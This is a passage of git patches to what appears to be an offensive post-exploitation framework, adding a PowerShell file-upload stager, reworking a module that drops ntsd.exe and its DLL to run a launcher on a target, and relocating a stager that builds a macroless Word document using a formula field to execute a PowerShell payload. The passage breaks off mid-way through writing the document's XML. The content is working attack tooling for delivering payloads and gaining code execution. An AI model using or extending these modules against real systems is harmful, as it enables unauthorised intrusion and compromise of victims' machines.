wu-0bL6&I_sA<!h7R4$4I_iH!x6}lAjeAyr^nKm?qXP^cBEK3Z}15)H)0slt1wg3PC

literal 0
HcmV?d00001

diff --git a/lib/common/stagers.py b/lib/common/stagers.py
index 69d1477..18aad49 100644
--- a/lib/common/stagers.py
+++ b/lib/common/stagers.py
@@ -459,3 +459,19 @@ class Stagers:
         os.remove('Run.jar')
 
         return jar 
+
+
+    def generate_upload(self, file, path):
+        script = """
+$b64 = "BASE64_BLOB_GOES_HERE"
+$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
+[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))
+
+"""
+
+        file_encoded = base64.b64encode(file)
+
+        script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
+        script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
+
+        return script
diff --git a/lib/modules/powershell/code_execution/invoke_ntsd.py b/lib/modules/powershell/code_execution/invoke_ntsd.py
index e386325..4ba07e9 100644
--- a/lib/modules/powershell/code_execution/invoke_ntsd.py
+++ b/lib/modules/powershell/code_execution/invoke_ntsd.py
@@ -61,6 +61,11 @@ class Module:
 								'Required'			:		True,
 								'Value'					:		"C:\\Windows\\System32\\calc.exe"
 						},
+            'Arch' : {
+                'Description'   :   'Architecture the system is on.',
+                'Required'      :   True,
+                'Value'         :   'x64'
+            },
             'ProxyCreds' : {
                 'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                 'Required'      :   False,
@@ -81,75 +86,80 @@ class Module:
 
     def generate(self, obfuscate=False, obfuscationCommand=""):
 
-				listenerName = self.options['Listener']['Value']
-				uploadPath = self.options['UploadPath']['Value'].strip()
-				bin = self.options['BinPath']['Value']
-				ntsd_exe_upload_path = uploadPath + "\\" + "ntsd.exe"
-				ntsd_dll_upload_path = uploadPath + "\\" + "ntsdexts.dll"
+        listenerName = self.options['Listener']['Value']
+        uploadPath = self.options['UploadPath']['Value'].strip()
+        bin = self.options['BinPath']['Value']
+        arch = self.options['Arch']['Value']
+        ntsd_exe_upload_path = uploadPath + "\\" + "ntsd.exe"
+        ntsd_dll_upload_path = uploadPath + "\\" + "ntsdexts.dll"
 
         # staging options
-				userAgent = self.options['UserAgent']['Value']
-				proxy = self.options['Proxy']['Value']
-				proxyCreds = self.options['ProxyCreds']['Value']
+        userAgent = self.options['UserAgent']['Value']
+        proxy = self.options['Proxy']['Value']
+        proxyCreds = self.options['ProxyCreds']['Value']
 
-				ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd.exe"
-				ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts.dll"
+        if arch == 'x64':
+				  ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x64.exe"
+				  ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x64.dll"
+        elif arch == 'x86':
+          ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd_x86.exe"
+          ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts_x86.dll"
 
         # read in the common module source code
-				moduleSource = self.mainMenu.installPath + "data/module_source/code_execution/Invoke-Ntsd.ps1"
-				if obfuscate:
-					helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
-					moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
-				try:
-					f = open(moduleSource, 'r')
-				except:
-					print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
-					return ""
+        moduleSource = self.mainMenu.installPath + "data/module_source/code_execution/Invoke-Ntsd.ps1"
+        if obfuscate:
+          helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
+          moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
+        try:
+          f = open(moduleSource, 'r')
+        except:
+          print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+          return ""
 
-				moduleCode = f.read()
-				f.close()
+        moduleCode = f.read()
+        f.close()
 
-				script = moduleCode
-				scriptEnd = ""
-				if not self.mainMenu.listeners.is_listener_valid(listenerName):
-					# not a valid listener, return nothing for the script
-					print helpers.color("[!] Invalid listener: %s" %(listenerName))
-					return ''
-				else:
+        script = moduleCode
+        scriptEnd = ""
+        if not self.mainMenu.listeners.is_listener_valid(listenerName):
+          # not a valid listener, return nothing for the script
+          print helpers.color("[!] Invalid listener: %s" %(listenerName))
+          return ''
+        else:
 
-					l = self.mainMenu.stagers.stagers['multi/launcher']
-					l.options['Listener']['Value'] = self.options['Listener']['Value']
-					l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
-					l.options['Proxy']['Value'] = self.options['Proxy']['Value']
-					l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
-					launcher = l.generate()
+          l = self.mainMenu.stagers.stagers['multi/launcher']
+          l.options['Listener']['Value'] = self.options['Listener']['Value']
+          l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
+          l.options['Proxy']['Value'] = self.options['Proxy']['Value']
+          l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
+          launcher = l.generate()
 
-					if launcher == '':
-						print helpers.color('[!] Error in launcher generation.')
-						return ''
-					else:
-						launcherCode = launcher.split(' ')[-1]
+          if launcher == '':
+            print helpers.color('[!] Error in launcher generation.')
+            return ''
+          else:
+           launcherCode = launcher.split(' ')[-1]
 
-						with open(ntsd_exe, 'rb') as bin_data:
-							ntsd_exe_data = bin_data.read()
+           with open(ntsd_exe, 'rb') as bin_data:
+             ntsd_exe_data = bin_data.read()
 
-						with open(ntsd_dll, 'rb') as bin_data:
-							ntsd_dll_data = bin_data.read()
+           with open(ntsd_dll, 'rb') as bin_data:
+             ntsd_dll_data = bin_data.read()
 
-						exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
-						code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
-						ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
-						ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
+           exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
+           code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
+           ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
+           ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
 
-						script += "\r\n"
-						script += ntsd_exe_upload
-						script += ntsd_dll_upload
-						script += "\r\n"
-						script += exec_write
-						script += "\r\n"
-						# this is to make sure everything was uploaded properly
-						script += "Start-Sleep -s 5"
-						script += "\r\n"
-						script += code_exec
+           script += "\r\n"
+           script += ntsd_exe_upload
+           script += ntsd_dll_upload
+           script += "\r\n"
+           script += exec_write
+           script += "\r\n"
+           # this is to make sure everything was uploaded properly
+           script += "Start-Sleep -s 5"
+           script += "\r\n"
+           script += code_exec
 
-						return script
+           return script

From 51e98068bd99f32c42972049820875e9a4f4633c Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Fri, 20 Oct 2017 10:03:02 -0400
Subject: [PATCH 25/50] moved the macroless word code exec from 'exploits' to
 'stagers' per Xorrior

---
 .../windows}/macroless_msword.py              | 151 ++++++++----------
 1 file changed, 66 insertions(+), 85 deletions(-)
 rename lib/{modules/python/exploit/fileformat => stagers/windows}/macroless_msword.py (93%)

diff --git a/lib/modules/python/exploit/fileformat/macroless_msword.py b/lib/stagers/windows/macroless_msword.py
similarity index 93%
rename from lib/modules/python/exploit/fileformat/macroless_msword.py
rename to lib/stagers/windows/macroless_msword.py
index 62ccd85..f40fe1c 100644
--- a/lib/modules/python/exploit/fileformat/macroless_msword.py
+++ b/lib/stagers/windows/macroless_msword.py
@@ -2,7 +2,7 @@
 from lib.common import helpers
 import os
 
-class Module:
+class Stager:
 
     def __init__(self, mainMenu, params=[]):
 
@@ -14,18 +14,6 @@ class Module:
 
             'Description': ('Creates a macroless document utilizing a formula field for code execution'),
 
-            'Background' : False,
-
-            'OutputExtension' : "",
-
-            'NeedsAdmin' : False,
-
-            'OpsecSafe' : False,
-
-            'Language' : 'python',
-
-            'MinLanguageVersion' : '2.7',
-
             'Comments': ["Hard work by Etienne Stalmas and Saif El-Sherei"]
         }
 
@@ -33,12 +21,6 @@ class Module:
         self.options = {
             # format:
             #   value_name : {description, required, default_value}
-            'Agent' : {
-                # The 'Agent' option is the only one that MUST be in a module
-                'Description'   :   'Agent to execute on.',
-                'Required'      :   True,
-                'Value'         :   ''
-            },
             'Listener' : {
                 'Description'   :   'Listener to use for the payload.',
                 'Required'      :   True,
@@ -83,108 +65,107 @@ class Module:
 
     def generate(self, obfuscate=False, obfuscationCommand=""):
 
-			listener = self.options['Listener']['Value']
-			output_path = self.options['OutputPath']['Value']
-			output_docx = self.options['OutputDocx']['Value']
-			host = self.options['HostURL']['Value']
-			ps1 = self.options['OutputPs1']['Value']
+      listener = self.options['Listener']['Value']
+      output_path = self.options['OutputPath']['Value']
+      output_docx = self.options['OutputDocx']['Value']
+      host = self.options['HostURL']['Value']
+      ps1 = self.options['OutputPs1']['Value']
 
-			if not self.mainMenu.listeners.is_listener_valid(listener):
-				print helpers.color("[!] Invalide listener: " + listener)
-				return ""
-			else:
-				launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True)
+      if not self.mainMenu.listeners.is_listener_valid(listener):
+        print helpers.color("[!] Invalid listener: " + listener)
+        return ""
+      else:
+        launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True)
 
-			def create_directory_structure(outdir):
-				os.makedirs(outdir + "_rels")
-				os.makedirs(outdir + "docProps")
-				os.makedirs(outdir + "word")
-				os.makedirs(outdir + "word/_rels")
-				os.makedirs(outdir + "word/theme")
+      def create_directory_structure(outdir):
+        os.makedirs(outdir + "_rels")
+        os.makedirs(outdir + "docProps")
+        os.makedirs(outdir + "word")
+        os.makedirs(outdir + "word/_rels")
+        os.makedirs(outdir + "word/theme")
 
-			def create_files(outdir):
-				content_types = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+      def create_files(outdir):
+        content_types = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>"""
 				
-				f = open(outdir + "[Content_Types].xml", 'w')
-				f.write(content_types)
+        f = open(outdir + "[Content_Types].xml", 'w')
+        f.write(content_types)
 
-				hidden_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        hidden_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>"""
 
-				f = open(outdir + "_rels/.rels", 'w')
-				f.write(hidden_rels)
+        f = open(outdir + "_rels/.rels", 'w')
+        f.write(hidden_rels)
 
-				docProps_app = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        docProps_app = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>2</TotalTime><Pages>1</Pages><Words>12</Words><Characters>70</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>81</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>"""
-				f = open(outdir + "docProps/app.xml", 'w')
-				f.write(docProps_app)
 
-				docProps_core = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        f = open(outdir + "docProps/app.xml", 'w')
+        f.write(docProps_app)
+
+        docProps_core = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Administrator</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy>Administrator</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2017-10-11T12:49:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-10-11T12:51:00Z</dcterms:modified></cp:coreProperties>"""
 
-				f = open(outdir + "docProps/core.xml", 'w')
-				f.write(docProps_core)
+        f = open(outdir + "docProps/core.xml", 'w')
+        f.write(docProps_core)
 
-				word_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        word_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>"""
-				f = open(outdir + "word/_rels/document.xml.rels", 'w')
-				f.write(word_rels)
 
-				word_theme = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        f = open(outdir + "word/_rels/document.xml.rels", 'w')
+        f.write(word_rels)
+
+        word_theme = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <a:theme xmlns:a=\"http://schemas.openxmlformats.org/drawingml/2006/main\" name=\"Office Theme\"><a:themeElements><a:clrScheme name=\"Office\"><a:dk1><a:sysClr val=\"windowText\" lastClr=\"000000\"/></a:dk1><a:lt1><a:sysClr val=\"window\" lastClr=\"FFFFFF\"/></a:lt1><a:dk2><a:srgbClr val=\"44546A\"/></a:dk2><a:lt2><a:srgbClr val=\"E7E6E6\"/></a:lt2><a:accent1><a:srgbClr val=\"5B9BD5\"/></a:accent1><a:accent2><a:srgbClr val=\"ED7D31\"/></a:accent2><a:accent3><a:srgbClr val=\"A5A5A5\"/></a:accent3><a:accent4><a:srgbClr val=\"FFC000\"/></a:accent4><a:accent5><a:srgbClr val=\"4472C4\"/></a:accent5><a:accent6><a:srgbClr val=\"70AD47\"/></a:accent6><a:hlink><a:srgbClr val=\"0563C1\"/></a:hlink><a:folHlink><a:srgbClr val=\"954F72\"/></a:folHlink></a:clrScheme><a:fontScheme name=\"Office\"><a:majorFont><a:latin typeface=\"Calibri Light\" panose=\"020F0302020204030204\"/><a:ea typeface=\"\"/><a:cs typeface=\"\"/><a:font script=\"Jpan\" typeface=\"游ゴシック Light\"/><a:font script=\"Hang\" typeface=\"맑은 고딕\"/><a:font script=\"Hans\" typeface=\"等线 Light\"/><a:font script=\"Hant\" typeface=\"新細明體\"/><a:font script=\"Arab\" typeface=\"Times New Roman\"/><a:font script=\"Hebr\" typeface=\"Times New Roman\"/><a:font script=\"Thai\" typeface=\"Angsana New\"/><a:font script=\"Ethi\" typeface=\"Nyala\"/><a:font script=\"Beng\" typeface=\"Vrinda\"/><a:font script=\"Gujr\" typeface=\"Shruti\"/><a:font script=\"Khmr\" typeface=\"MoolBoran\"/><a:font script=\"Knda\" typeface=\"Tunga\"/><a:font script=\"Guru\" typeface=\"Raavi\"/><a:font script=\"Cans\" typeface=\"Euphemia\"/><a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/><a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/><a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/><a:font script=\"Thaa\" typeface=\"MV Boli\"/><a:font script=\"Deva\" typeface=\"Mangal\"/><a:font script=\"Telu\" typeface=\"Gautami\"/><a:font script=\"Taml\" typeface=\"Latha\"/><a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/><a:font script=\"Orya\" typeface=\"Kalinga\"/><a:font script=\"Mlym\" typeface=\"Kartika\"/><a:font script=\"Laoo\" typeface=\"DokChampa\"/><a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/><a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/><a:font script=\"Viet\" typeface=\"Times New Roman\"/><a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/><a:font script=\"Geor\" typeface=\"Sylfaen\"/></a:majorFont><a:minorFont><a:latin typeface=\"Calibri\" panose=\"020F0502020204030204\"/><a:ea typeface=\"\"/><a:cs typeface=\"\"/><a:font script=\"Jpan\" typeface=\"游明朝\"/><a:font script=\"Hang\" typeface=\"맑은 고딕\"/><a:font script=\"Hans\" typeface=\"等线\"/><a:font script=\"Hant\" typeface=\"新細明體\"/><a:font script=\"Arab\" typeface=\"Arial\"/><a:font script=\"Hebr\" typeface=\"Arial\"/><a:font script=\"Thai\" typeface=\"Cordia New\"/><a:font script=\"Ethi\" typeface=\"Nyala\"/><a:font script=\"Beng\" typeface=\"Vrinda\"/><a:font script=\"Gujr\" typeface=\"Shruti\"/><a:font script=\"Khmr\" typeface=\"DaunPenh\"/><a:font script=\"Knda\" typeface=\"Tunga\"/><a:font script=\"Guru\" typeface=\"Raavi\"/><a:font script=\"Cans\" typeface=\"Euphemia\"/><a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/><a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/><a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/><a:font script=\"Thaa\" typeface=\"MV Boli\"/><a:font script=\"Deva\" typeface=\"Mangal\"/><a:font script=\"Telu\" typeface=\"Gautami\"/><a:font script=\"Taml\" typeface=\"Latha\"/><a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/><a:font script=\"Orya\" typeface=\"Kalinga\"/><a:font script=\"Mlym\" typeface=\"Kartika\"/><a:font script=\"Laoo\" typeface=\"DokChampa\"/><a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/><a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/><a:font script=\"Viet\" typeface=\"Arial\"/><a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/><a:font script=\"Geor\" typeface=\"Sylfaen\"/></a:minorFont></a:fontScheme><a:fmtScheme name=\"Office\"><a:fillStyleLst><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"110000\"/><a:satMod val=\"105000\"/><a:tint val=\"67000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"105000\"/><a:satMod val=\"103000\"/><a:tint val=\"73000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"105000\"/><a:satMod val=\"109000\"/><a:tint val=\"81000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:satMod val=\"103000\"/><a:lumMod val=\"102000\"/><a:tint val=\"94000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:satMod val=\"110000\"/><a:lumMod val=\"100000\"/><a:shade val=\"100000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"99000\"/><a:satMod val=\"120000\"/><a:shade val=\"78000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill></a:fillStyleLst><a:lnStyleLst><a:ln w=\"6350\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln><a:ln w=\"12700\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln><a:ln w=\"19050\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln></a:lnStyleLst><a:effectStyleLst><a:effectStyle><a:effectLst/></a:effectStyle><a:effectStyle><a:effectLst/></a:effectStyle><a:effectStyle><a:effectLst><a:outerShdw blurRad=\"57150\" dist=\"19050\" dir=\"5400000\" algn=\"ctr\" rotWithShape=\"0\"><a:srgbClr val=\"000000\"><a:alpha val=\"63000\"/></a:srgbClr></a:outerShdw></a:effectLst></a:effectStyle></a:effectStyleLst><a:bgFillStyleLst><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:solidFill><a:schemeClr val=\"phClr\"><a:tint val=\"95000\"/><a:satMod val=\"170000\"/></a:schemeClr></a:solidFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:tint val=\"93000\"/><a:satMod val=\"150000\"/><a:shade val=\"98000\"/><a:lumMod val=\"102000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:tint val=\"98000\"/><a:satMod val=\"130000\"/><a:shade val=\"90000\"/><a:lumMod val=\"103000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:shade val=\"63000\"/><a:satMod val=\"120000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill></a:bgFillStyleLst></a:fmtScheme></a:themeElements><a:objectDefaults/><a:extraClrSchemeLst/><a:extLst><a:ext uri=\"{05A4C25C-085E-4340-85A3-A5531E510DB2}\"><thm15:themeFamily xmlns:thm15=\"http://schemas.microsoft.com/office/thememl/2012/main\" name=\"Office Theme\" id=\"{62F939B6-93AF-4DB8-9C6B-D6C7DFDC589F}\" vid=\"{4A3C46E8-61CC-4603-A589-7422A47A8E4A}\"/></a:ext></a:extLst></a:theme>"""
 
-				f = open(outdir + "word/theme/theme1.xml", 'w')
-				f.write(word_theme)
+        f = open(outdir + "word/theme/theme1.xml", 'w')
+        f.write(word_theme)
 
-				font_table = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        font_table = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E00002FF" w:usb1="4000ACFF" w:usb2="00000001" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007843" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Calibri Light"><w:panose1 w:val="020F0302020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>"""
 
-				f = open(outdir + "word/fontTable.xml", 'w')
-				f.write(font_table)
+        f = open(outdir + "word/fontTable.xml", 'w')
+        f.write(font_table)
 
-				settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15 w16se"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="differentiateMultirowTableHeaders" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0053626A"/><w:rsid w:val="0053626A"/><w:rsid w:val="00655D12"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w14:docId w14:val="141885FD"/><w15:chartTrackingRefBased/><w15:docId w15:val="{38929109-908E-4ED7-9F88-CD8CCF49BF84}"/></w:settings>"""
 
-				f = open(outdir + "word/settings.xml", 'w')
-				f.write(settings)
+        f = open(outdir + "word/settings.xml", 'w')
+        f.write(settings)
 
-				styles = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        styles = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
